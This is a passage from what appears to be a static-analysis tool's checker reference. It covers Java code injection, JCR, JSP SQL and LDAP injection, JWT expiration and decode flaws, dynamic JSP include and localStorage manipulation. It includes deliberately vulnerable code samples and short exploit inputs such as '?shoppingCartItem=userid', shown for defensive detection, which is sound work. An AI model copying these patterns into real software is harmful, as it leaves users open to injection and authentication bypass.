- `INVALIDATE_ITERATOR:report_map_put:<boolean>` - If this Java option is set to `true`, the checker reports defects involving `Map.put`. By default, the checker treats `Map.put` as though it cannot modify a collection. Defaults to `INVALIDATE_ITERATOR:report_map_put:false`

#### 4.189.4. Events

This section describes one or more events produced by the `INVALIDATE_ITERATOR` checker.

- `deref_iterator` - [C++ only] An iterator is dereferenced by `erase` or by an explicit assignment to the result of the `end` method. This event reports a defect where Coverity determines that an invalid iterator is dereferenced.
- `erase_iterator` - [C++ only] An iterator was passed to an STL container's `erase` method.
- `mutate_collection` - [Java only] Indicates that a method has mutated a collection, thereby invalidating its iterators.
- `increment_iterator` - [C++ only] An invalid iterator is incremented.
- `past_the_end` - [C++ only] An iterator was assigned the result of an STL container's `end` method. Any iterator returned from `end` should never be dereferenced or incremented. If the checker is reporting this assignment incorrectly, suppress this event with a code-line annotation.
- `return_collection_alias` - [Java only] Indicates that a method returns a collection that is an alias for another collection (for example, `Map.keySet()`).

Example:

```
return_collection_alias : Call to java.util.Map.keySet()
 Iterable equivalent to familyListeners .
```

- `return_iterator` - [Java only] Indicates that a method returned an iterator from a collection.

Example:

```
return_iterator : Call to java.util.Set.iterator() returns an
 iterator from familyListeners.keySet() .
```

- `use_iterator` - [C++] Iterator use is invalidated by a call to `erase`. If the checker sees any future uses of an iterator that it believes was invalidated with a call to `erase`, it will report a defect with this event.

`use_iterator` - [Java] Indicates that a method has used an iterator that might be invalid.

## 4.190. JAVA\_CODE\_INJECTION

Security Checker

### 4.190.1. Overview

**Supported Languages:** Java

JAVA\_CODE\_INJECTION finds Java code injection vulnerabilities, which arise when uncontrolled dynamic data is passed into an API that accepts Java source or bytecode. This security vulnerability might allow an attacker to bypass security checks or execute arbitrary code.

**Disabled by default:** JAVA\_CODE\_INJECTION is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable JAVA\_CODE\_INJECTION along with other Web application checkers, use the `--webapp-security` option.

### 4.190.2. Examples

This section provides one or more JAVA\_CODE\_INJECTION examples.

In the following example, the `dx` parameter is treated as though it is tainted. It is concatenated into the string code. This tainted value is then passed to `CtNewMethod.make`, which is treated as a sink for this checker.

```
String dx = request.getParameter("dx");
CtClass point = ClassPool.getDefault().get("Point");
String code = "public int xmove(int dx) { x += " + dx + "; }";
CtMethod m = CtNewMethod.make(code, point);
point.addMethod(m);
```

An attacker can define this Java method to execute arbitrary code.

### 4.190.3. Events

This section describes one or more events produced by the JAVA\_CODE\_INJECTION checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.
- `remediation` - Provides information about addressing the security vulnerability.

#### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.

- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

#### **Dataflow events**

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.

- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

## 4.191. JCR\_INJECTION

Security Checker

### 4.191.1. Overview

**Supported Languages:** Java

JCR\_INJECTION finds Content Repository for Java (JCR) injection vulnerabilities, which arise when uncontrolled dynamic data is passed into a query API for JCR. This security vulnerability might allow an attacker to affect the behavior of the JCR, bypass security controls, or obtain unauthorized data.

**Disabled by default:** JCR\_INJECTION is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

**Web application security checker enablement:** To enable JCR\_INJECTION along with other Web application checkers, use the `--webapp-security` option.

### 4.191.2. Examples

This section provides one or more JCR\_INJECTION examples.

In the following example, the `name` parameter is treated as though it is tainted. It is concatenated into the JCR query through the `query` field. This tainted value is then passed to `QueryManager.createQuery`, which is treated as a sink for this checker.

```
public QueryResult doQuery(String name) {
 QueryManager queryManager = session.getWorkspace().getQueryManager();
 String query = "select * from nt:base where name= '" + name + "' "
 Query query = queryManager.createQuery(query, Query.JCR_SQL2);
 return query.execute();
}
```

An attacker can change the intent of the JCR statement by inserting a single quote. Following the insertion, the attacker could add additional syntax to bypass the name check and perhaps disclose additional information through other JCR queries.

### 4.191.3. Events

This section describes one or more events produced by the JCR\_INJECTION checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.

- `remediation` - Provides information about addressing the security vulnerability.

#### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

## 4.192. JSHINT.\* (JSHint) Analysis

### 4.192.1. Overview

**Supported Languages:** JavaScript

Coverity supports a JSHint analysis of JavaScript code through the **cov-analyze** command. JSHint is an open source program for reporting issues in JavaScript code. It primarily finds issues related to coding style, coding standards, and code portability. The Coverity analysis uses the following format to report JSHint issues: JSHINT.XXXX

#### JSHINT.XXXX

- JSHINT: A JSHint checker type.

- XXXX: A JSHint warning identifier, as described at [jshinterrors.com](http://jshinterrors.com) or <http://jshint.com/>. For example, the Coverity analysis reports an occurrence of the `eval is evil` as a defect from the checker `JSHINT.W061`.

**Disabled by default:** To enable the JSHint analysis, use the `--enable-jshint` option. See also, Section 1.2.1, “Enabling and Disabling Checkers with `cov-analyze`”.

Coverity Analysis provides a default configuration that disables a small subset of JSHint results that are better found with Coverity JavaScript checkers. However, you can instead apply your own custom configuration by using the `--use-jshintrc .jshintrc` option, where `.jshintrc` specifies your configuration (see <http://jshint.com/docs/> for information about `.jshintrc` file configuration). If you do not use the option, the analysis will run the default configuration file and ignore any `.jshintrc` files in your source tree.

## 4.193. JSONWEBTOKEN\_IGNORED\_EXPIRATION\_TIME

Security Checker

### 4.193.1. Overview

**Supported Languages:** JavaScript, TypeScript

`JSONWEBTOKEN_IGNORED_EXPIRATION_TIME` finds cases where Java Web Tokens (JWTs) are verified without checking their expiration time or their not-before time. Failure to check these times allows an attacker to use a stolen or brute-forced token after it has expired. This can compromise the application and allow the attacker to access sensitive information.

#### 4.193.1.1. Ignore Expiration

The defect of ignoring expiration time is ranked as having a Medium impact, because the window of opportunity for an attacker to exploit the token is much longer than when the expiration time is correctly checked.

- `Express.js` application: The `ignoreExpiration` property can be explicitly set to `true` (the default value is `false`) in the third argument to the `verify()` function of an instance of the `jsonwebtoken` module. See the following code sample:

```
var jwt = require('jsonwebtoken');

jwt.verify(req.cookies.token, 'test4',
 {
 ignoreExpiration: true, // JSONWEBTOKEN_IGNORED_EXPIRATION_TIME defect
 algorithms: ['HS256']
 },
 function (err, token) {
 res.json(token);
 });
```

```
}
);
```

- **Hapi.js application:** The `ignoreExpiration` property can be explicitly set to `true` (the default value is `false`) in the `verifyOptions` object that is part of the third argument to the `server.auth.strategy()` function that sets JWT authentication. See the following code sample:

```
server.auth.strategy('jwt-auth', 'jwt', {
 key: config.jwt_hmac_secret,
 verifyOptions: { // Provide verification options to jsonwebtokens
 library
 algorithms: ['HS256'],
 ignoreExpiration: true // JSONWEBTOKEN_IGNORED_EXPIRATION_TIME defect
 }
});
```

#### 4.193.1.2. Ignore Not Before

The defect of ignoring the `notBefore` time is ranked as having a Low impact, because compared to ignoring expiration time, the window of opportunity for an attacker to exploit the token before it becomes valid is usually much shorter, as it is strictly limited in time.

- **Express.js application:** The `ignoreNotBefore` property can be explicitly set to `true` (the default value is `false`) in the third argument to the `verify()` function of an instance of the `jsonwebtoken` module. See the following code sample:

```
var jwt = require('jsonwebtoken');

jwt.verify(req.cookies.token, 'test4', {
 ignoreNotBefore: true, // JSONWEBTOKEN_IGNORED_EXPIRATION_TIME defect
 algorithms: ['HS256']
},
function (err, token) {
 res.json(token);
})
```

- **Hapi.js application:** The `ignoreNotBefore` property can be explicitly set to `true` (the default value is `false`) in the `verifyOptions` object that is part of the third argument to the `server.auth.strategy()` function that sets JWT authentication. See the following code sample:

```
server.auth.strategy('jwt-auth', 'jwt', {
 key: config.jwt_hmac_secret,
 verifyOptions: { // Provide verification options to jsonwebtokens
 library
```

```
 algorithms: ['HS256'],
 ignoreNotBefore: true // JSONWEBTOKEN_IGNORED_EXPIRATION_TIME defect
 });
```

### 4.193.2. Enablement

Disabled by default. Can be enabled by using `--webapp-security`.

### 4.193.3. Examples

This section provides one or more `JSONWEBTOKEN_IGNORED_EXPIRATION_TIME` examples.

In the following example, the `verify()` function is set to ignore the token expiration time, so a `JSONWEBTOKEN_IGNORED_EXPIRATION_TIME` defect is displayed for the `ignoreexpiration` setting in the options sent to `jwt.verify()`:

```
var express = require('express');
var jwt = require('jsonwebtoken');
var cookieParser = require('cookie-parser');
var config = require('config.json');

var app = express();
app.use(cookieParser());

app.get('/checkToken', function (req, res) {
 if (req.cookies.token) {
 jwt.verify(req.cookies.token, config.key,
 {
 ignoreExpiration: true,
 // JSONWEBTOKEN_IGNORED_EXPIRATION_TIME defect at preceding
line
 algorithms: ['HS256']
 },
 function (err, token) {
 if (err) {
 console.log(err);
 } else {
 res.json(token);
 }
 }
);
 } else {
 res.send('no token');
 }
});
```

### 4.193.4. Events

This section describes one or more events produced by the `JSONWEBTOKEN_IGNORED_EXPIRATION_TIME` checker.

- `MainEvent` - The incorrect configuration of the `verify()` function.
- `Remediation` - Presents advice on how to address the defect by properly configuring the verification options.

#### 4.193.4.1. Relationships with Taxonomies

OWASP Top 10 2017

A2:2017-Broken Authentication

Common Weakness Enumeration (CWE)

CWE-613: Insufficient Session Expiration

#### 4.193.5. Defect Anatomy

Impact:

- `jwt_expiration` : Medium
- `jwt_not_before` : Low

`jwt_expiration` : Ignoring the expiration time for a JSON web token means that the token is valid forever. Because the token never expires, an attacker has a longer window of time in which to brute-force the token value and exploit the application.

`jwt_not_before` : Ignoring the `notBefore` setting of a JSON web token means that the token is valid immediately. Because the token is valid sooner than intended, an attacker has a slightly larger window of time in which the attacker can exploit the application.

Remediation:

- `jwt_expiration` : Verify that the token is used only while valid by removing the `ignoreExpiration` attribute, or explicitly set `ignoreExpiration` to `false`.
- `jwt_not_before` : Verify that the token is not used before it becomes valid by removing the `ignoreNotBefore` attribute, or explicitly set `ignoreNotBefore` to `false`.
- *Both cases*: If you need to tolerate a small amount of clock skew, use the `clockTolerance` setting of the `verify()` function.

#### 4.194. JSONWEBTOKEN\_UNTRUSTED\_DECODE

Security Checker

### 4.194.1. Overview

**Supported Languages:** JavaScript, TypeScript

`JSONWEBTOKEN_UNTRUSTED_DECODE` finds cases where JWT tokens are decoded but their signature is not verified. If the token is not verified, attackers might submit forged tokens and gain access to sensitive data and functionality.

This defect manifests when the application decodes a JWT using the `decode()` function but does not verify the token signature beforehand. Not verifying JWT signatures allows attackers to forge or change JWT tokens and thereby gain user privileges, read sensitive data, and execute sensitive commands, depending on the application functionality.

To remediate this defect, always sign JWTs and verify them using the `verify()` function before using the content of the token. Note that `verify()` returns a decoded token value, so there is no need to use the `decode()` function.

**Disabled by default:** `JSONWEBTOKEN_UNTRUSTED_DECODE` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

**Web application security checker enablement:** To enable `JSONWEBTOKEN_UNTRUSTED_DECODE` along with other Web application checkers, use the `--webapp-security` option.

### 4.194.2. Examples

This section provides one or more `JSONWEBTOKEN_UNTRUSTED_DECODE` examples.

The following code sample decodes a JWT without verifying the signature. A `JSONWEBTOKEN_UNTRUSTED_DECODE` defect is displayed for the call to `jwt.decode()`.

```
var jwt = require('jsonwebtoken');

//...

function isLoggedIn(req, res, next) {
 var token = req.cookies['X-Token'];
 if (! token || token === 'undefined') {
 res.status(401).send('You are not authenticated');
 } else {
 var decoded = jwt.decode(token);
 if (decoded && decoded.email && checkuseremail(decoded.email)) {
 return next();
 } else {
 res.status(401).send('You are not authenticated');
 }
 }
}
```

### 4.194.3. Events

This section describes one or more events produced by the `JSONWEBTOKEN_UNTRUSTED_DECODE` checker.

- `MainEvent` – The `decode()` function is called without a prior call to `verify()`, thus decoding and using an unverified JWT.
- `Remediation` – Presents advice on how to address the defect by using the `verify()` function instead of `decode()`.

## 4.195. JSP\_DYNAMIC\_INCLUDE

Security Checker

### 4.195.1. Overview

**Supported Languages:** Java

`JSP_DYNAMIC_INCLUDE` finds JSP dynamic include vulnerabilities, which arise when uncontrolled dynamic data is used as part of a JSP include path. An attacker can manipulate the local path of the JSP and bypass authorization or examine sensitive information.

**Disabled by default:** `JSP_DYNAMIC_INCLUDE` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `JSP_DYNAMIC_INCLUDE` along with other Web application checkers, use the `--webapp-security` option.

### 4.195.2. Examples

This section provides one or more `JSP_DYNAMIC_INCLUDE` examples.

In the following example, several JSP pages are deployed in the container, including `/WEB-INF/admin/control-everything.jsp` (which should only be accessible to administrators) and `/index.jsp`.

```
<sec:authorize ifAnyGranted="ROLE_ADMIN">
 <jsp:include src="admin/control-everything" />
</sec>

<sec:authorize ifNotGranted="ROLE_ADMIN">
 <jsp:include src="{param.foo}" />
</sec>
```

When the attacker (without the `ROLE_ADMIN` flag) sends `foo=admin/control-everything` (the URL mapping for this JSP), the authorization check `ifAnyGranted="ROLE_ADMIN"` will be bypassed.

### 4.195.3. Events

This section describes one or more events produced by the `JSP_DYNAMIC_INCLUDE` checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.
- `remediation` - Provides information about addressing the security vulnerability.

### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

## 4.196. JSP\_SQL\_INJECTION

Security Checker

### 4.196.1. Overview

**Supported Languages:** Java

JSP\_SQL\_INJECTION finds JSP SQL injection vulnerabilities, which arise when uncontrolled dynamic data is passed into a JSTL `<sql:query>` or `<sql:update>` tag. Similar to typical SQL injection, the injection of tainted data might change the intent of the query, which can bypass security checks or disclose unauthorized data.

**Disabled by default:** JSP\_SQL\_INJECTION is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable JSP\_SQL\_INJECTION along with other Web application checkers, use the `--webapp-security` option.

## 4.196.2. Examples

This section provides one or more `JSP_SQL_INJECTION` examples.

In the following example, a JSP file is using the JSTL `<sql:query>` tag. The body of the tag contains the SQL query, injected with a tainted HTTP GET parameter `name`.

```
<sql:query dataSource="${ds}" var="db_tainted_and_param_tainted">
 SELECT * from Employees WHERE name = '${param.name}'
</sql:query>
```

An attacker can change the intent of the SQL statement by inserting a single quote. Following the insertion, the attacker could add additional syntax to bypass the name check and perhaps disclose additional information through other SQL queries.

## 4.196.3. Events

This section describes one or more events produced by the `JSP_SQL_INJECTION` checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.
- `remediation` - Provides information about addressing the security vulnerability.

### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.

- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

## 4.197. LDAP\_INJECTION

Security Checker

### 4.197.1. Overview

**Supported Languages:** C#, Java, Visual Basic

LDAP\_INJECTION finds Lightweight Directory Access Protocol (LDAP) injection vulnerabilities, which arise when uncontrolled dynamic data is passed into an LDAP query. The injection of tainted data might change the intent of the query, which can bypass security checks or disclose unauthorized data.

**Disabled by default:** LDAP\_INJECTION is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable LDAP\_INJECTION along with other Web application checkers, use the `--webapp-security` option.

### 4.197.2. Examples

This section provides one or more LDAP\_INJECTION examples.

#### 4.197.2.1. Java

In the following example, the parameter `username` is tainted. The parameter is concatenated to a string used for an LDAP filter. This filter is passed to `DirContext.search`, which is a sink for this checker.

```
public boolean isValidUser(String username) {
 ...
 String searchFilter = "(CN=" + userName + ")";
 DirContext ctx = getContext();
 NamingEnumeration answer = ctx.search(baseDN, searchFilter, ctls);
 ...}
```

An attacker can change the intent of the LDAP filter by inserting appropriate meta data. Following the insertion, the attacker could add additional syntax to bypass the username check. In the example, this might allow the attacker to bypass an authentication control.

#### 4.197.2.2. C#

```
using System.DirectoryServices;
using System.Web.Mvc;

namespace MyWebapp {
```

```

class DirectoryController : Controller {

 protected ActionResult FindMailAddress()
 {
 var entry = new DirectoryEntry("LDAP://foobar.com:389",
 "user", "password");
 var search = new DirectorySearcher(entry)
 {
 Filter = "(objectClass=person)" +
 "(mail=" + Request["mail_addr"] + ")" // LDAP_INJECTION defect
 };
 ViewBag.LdapResult = search.FindAll();
 return View();
 }
}

```

#### 4.197.2.3. Visual Basic

In the following example, the defect is reported where the `.Filter` criterion is constructed:

```

> imports System.DirectoryServices
imports System.Web

Public Class LdapInjection

 Dim ldapUser As String
 Dim ldapPassword As String

 Protected Function FindEmailEntries(request As HttpRequest) As
 SearchResultCollection
 Dim entry = new DirectoryEntry("LDAP://foobar.com:389", ldapUser, ldapPassword)

 ' Create LDAP search filter
 Dim search = new DirectorySearcher(entry) With
 {
 .Filter = "(objectClass=person)" + "(mail=" + request("main_address") + ")"
 ' LDAP_INJECTION defect at previous statement
 }

 ' Perform search
 Return search.FindAll()
 End Function
End Class

```

#### 4.197.3. Events

This section describes one or more events produced by the `LDAP_INJECTION` checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.

- `remediation` - Provides information about addressing the security vulnerability.

#### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

## 4.198. LDAP\_NOT\_CONSTANT

Security Audit Checker

### 4.198.1. Overview

**Supported Languages:** C#, Java, Visual Basic

The `LDAP_NOT_CONSTANT` checker reports any LDAP query that is constructed using unescaped and non-constant values. It is best to escape all dynamic content, even if it comes from a trusted data source. The escaping prevents any malicious or rogue values from altering the intent of the LDAP query. Using the `LDAP_NOT_CONSTANT` checker is one way to protect your code against LDAP injection vulnerabilities.

If the dynamic value is determined by analysis to come from a distrusted source, a high impact `LDAP_INJECTION` defect is also reported.

**Disabled by default:** `LDAP_NOT_CONSTANT` is disabled by default. To enable it, use the `--enable` option to the `cov-analyze` command.

**Security audit enablement:** To enable `LDAP_NOT_CONSTANT` along with other security audit features, use the `--enable-audit-checkers` option. For more information, see the description of the `cov-analyze` command in the *Coverity Command Reference*.

### 4.198.2. Defect Anatomy

The main event of an `LDAP_NOT_CONSTANT` defect is where the query is passed to an LDAP API. The other events identify the non-constant value and describe how it is incorporated into the query string.

### 4.198.3. Examples

This section provides one or more `LDAP_NOT_CONSTANT` examples.

#### 4.198.3.1. C#

The following C# method uses the non-constant `username` member to set an LDAP filter.

```
private string username;

public void addLdapFilter(DirectorySearcher search) {
 // DEFECT: Using a dynamic value in an LDAP query
 search.Filter = "(userPrincipalName=" + username + ")";
}
```

#### 4.198.3.2. Java

The following Java code builds an LDAP query from the non-constant value returned from the call to `getCurrentGroup()`.

```
public void findUserGroup(javax.naming.directory.DirContext dirContext, String
userid) {
 // DEFECT: Using a dynamic value in an LDAP query
 dirContext.search("context",
 "(&(objectClass=user)(sAMAccountName=yourUserName)" +
 "(memberof=CN=" + getCurrentGroup() + ",OU=Users,DC=YourDomain,DC=com))",
 null);
}
```

#### 4.198.3.3. Visual Basic

The following Visual Basic method returns a `DirectorySearcher` with an LDAP search for an email address.

```
Public Function FindByEmail(EmailAddress as string) as DirectorySearcher
 // DEFECT: Using a dynamic value in an LDAP query
 Return New DirectorySearcher(
 "(objectClass=person)(mail=" + EmailAddress + ")"
)
End Function
```

## 4.199. LOCALSTORAGE\_MANIPULATION

(Security) Checker

### 4.199.1. Overview

**Supported Languages:** JavaScript, TypeScript

`LOCALSTORAGE_MANIPULATION` reports a defect in client-side JavaScript code that uses a user-controllable string to construct a key in `localStorage`. Such code might allow an attacker to alter the behavior of the application by overwriting data that is stored at a sensitive key, or by adding new keys.

**Disabled by default:** `LOCALSTORAGE_MANIPULATION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `LOCALSTORAGE_MANIPULATION` along with other Web application checkers, use the `--webapp-security` option.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.199.2. Defect Anatomy

A `LOCALSTORAGE_MANIPULATION` defect shows a dataflow path by which untrusted (tainted) data forms the name of a key in `localStorage`. The path starts at a source of untrusted data, for example, a property of the URL that an attacker might control (such as, `window.location.hash`) or data from a different frame. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. The final part of the path shows the data flowing into the name of a key in `localStorage`.

### 4.199.3. Examples

This section provides one or more `LOCALSTORAGE_MANIPULATION` examples.

If the attacker sets the `shoppingCartItem` request parameter to `userid` then the call to `localStorage.setItem` will overwrite the `userid` key in `localStorage`.

```
function extract(str, key) {
 if (str == null) return '';
 var keyStart = str.indexOf(key + "=");
 if (-1 === keyStart) return '';
 var valStart = 1 + str.indexOf("=", keyStart);
 var valEnd = str.indexOf("&", keyStart);
```

```

var val = -1 === valEnd ? str.substring(valStart) : str.substring(valStart, valEnd);
return val;
}

function init() {
 localStorage.setItem("userid", 1001);

 var h = location.search.substring(1);
 if (h.indexOf("shoppingCartItem=") >= 0) {
 var itemName = extract(h, "shoppingCartItem");
 var storedQuantity = localStorage.getItem(itemName);
 var previousQuantity =
 (storedQuantity === undefined) ? 0 : parseInt(storedQuantity);
 localStorage.setItem(itemName, previousQuantity + 1);
 }

 console.log(localStorage.getItem("userid"));
}
window.onload = init;

```

Example exploit: Append the following fragment to the page URL to change the value of `userid` stored in `localStorage`.

```
?shoppingCartItem=userid
```

#### 4.199.4. Options

This section describes one or more `LOCALSTORAGE_MANIPULATION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `LOCALSTORAGE_MANIPULATION:distrust_all:<boolean>` - Setting this option to `true` is equivalent to setting all `trust_*` checker options for this checker to `false`. Defaults to `LOCALSTORAGE_MANIPULATION:distrust_all:false`.

This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `LOCALSTORAGE_MANIPULATION:trust_js_client_cookie:<boolean>` - When this option is set to `false`, the analysis does not trust data from cookies in client-side JavaScript code, for example from `document.cookie`. This option was formerly called `trust_client_cookie`. Defaults to `LOCALSTORAGE_MANIPULATION:trust_js_client_cookie:true`.
- `LOCALSTORAGE_MANIPULATION:trust_js_client_external:<boolean>` - When this option is set to `false`, the analysis does not trust data from the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Note: this option was formerly called `trust_external`. Defaults to `LOCALSTORAGE_MANIPULATION:trust_js_client_external:false`.
- `LOCALSTORAGE_MANIPULATION:trust_js_client_html_element:<boolean>` - When this option is set to `false`, the analysis does not trust data from user input on HTML

elements such as `textarea` and `input` elements in client-side JavaScript code. Defaults to `LOCALSTORAGE_MANIPULATION:trust_js_client_html_element:true`.

- `LOCALSTORAGE_MANIPULATION:trust_js_client_http_header:<boolean>` - When this option is set to false, the analysis does not trust data from HTTP response headers on the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Defaults to `LOCALSTORAGE_MANIPULATION:trust_js_client_http_header:true`.
- `LOCALSTORAGE_MANIPULATION:trust_js_client_other_origin:<boolean>` - When this option is set to false, the analysis does not trust data from content in another frame or from another origin, for example from `window.name`, in client-side JavaScript code. Defaults to `LOCALSTORAGE_MANIPULATION:trust_js_client_other_origin:false`.
- `LOCALSTORAGE_MANIPULATION:trust_js_client_storage:<boolean>` - When this option is set to false, the analysis does not trust data from the HTML client storage objects `localStorage` and `sessionStorage` in client-side JavaScript code. Defaults to `LOCALSTORAGE_MANIPULATION:trust_js_client_storage:true`.
- `LOCALSTORAGE_MANIPULATION:trust_js_client_url_query_or_fragment:<boolean>` - When this option is set to false, the analysis does not trust data from the query or fragment part of the URL, for example from `location.hash` or `location.query`, in client-side JavaScript code. Defaults to `LOCALSTORAGE_MANIPULATION:trust_js_client_url_query_or_fragment:false`.
- `LOCALSTORAGE_MANIPULATION:trust_mobile_other_app:<boolean>` - Setting this option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `LOCALSTORAGE_MANIPULATION:trust_mobile_other_app:false`. Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options.
- `LOCALSTORAGE_MANIPULATION:trust_mobile_other_privileged_app:<boolean>` - Setting this option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `LOCALSTORAGE_MANIPULATION:trust_mobile_other_privileged_app:true`. Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options.
- `LOCALSTORAGE_MANIPULATION:trust_mobile_same_app:<boolean>` - Setting this option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `LOCALSTORAGE_MANIPULATION:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options.
- `LOCALSTORAGE_MANIPULATION:trust_mobile_user_input:<boolean>` - Setting this option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `LOCALSTORAGE_MANIPULATION:trust_mobile_user_input:false`. Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options.

## 4.200. LOCALSTORAGE\_WRITE

Security Checker

### 4.200.1. Overview

**Supported Languages:** JavaScript, TypeScript

`LOCALSTORAGE_WRITE` reports whenever any data is written to `localStorage`. It is recommended to not store sensitive information in `localStorage`. If an XSS exploit exists, it is easy for an attacker to retrieve the contents of `localStorage`. If a browser is shared among multiple users, any information in `localStorage` must be cleared once the user is logged out, otherwise different users can read each other's `localStorage`. Sensitive information should be stored on the server and managed with sessions.

**Disabled by default:** `LOCALSTORAGE_WRITE` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

To enable `LOCALSTORAGE_WRITE` along with other audit mode checkers, use the `--enable-audit-mode` option.

### 4.200.2. Defect Anatomy

A `LOCALSTORAGE_WRITE` defect is generated for a write to the `localStorage` using a native JavaScript API or through one of the Angular `localStorage` plugins: `ngx-pwa` or `angular-webstorage-service`.

### 4.200.3. Examples

This section provides one or more `LOCALSTORAGE_WRITE` examples.

#### 4.200.3.1. TypeScript

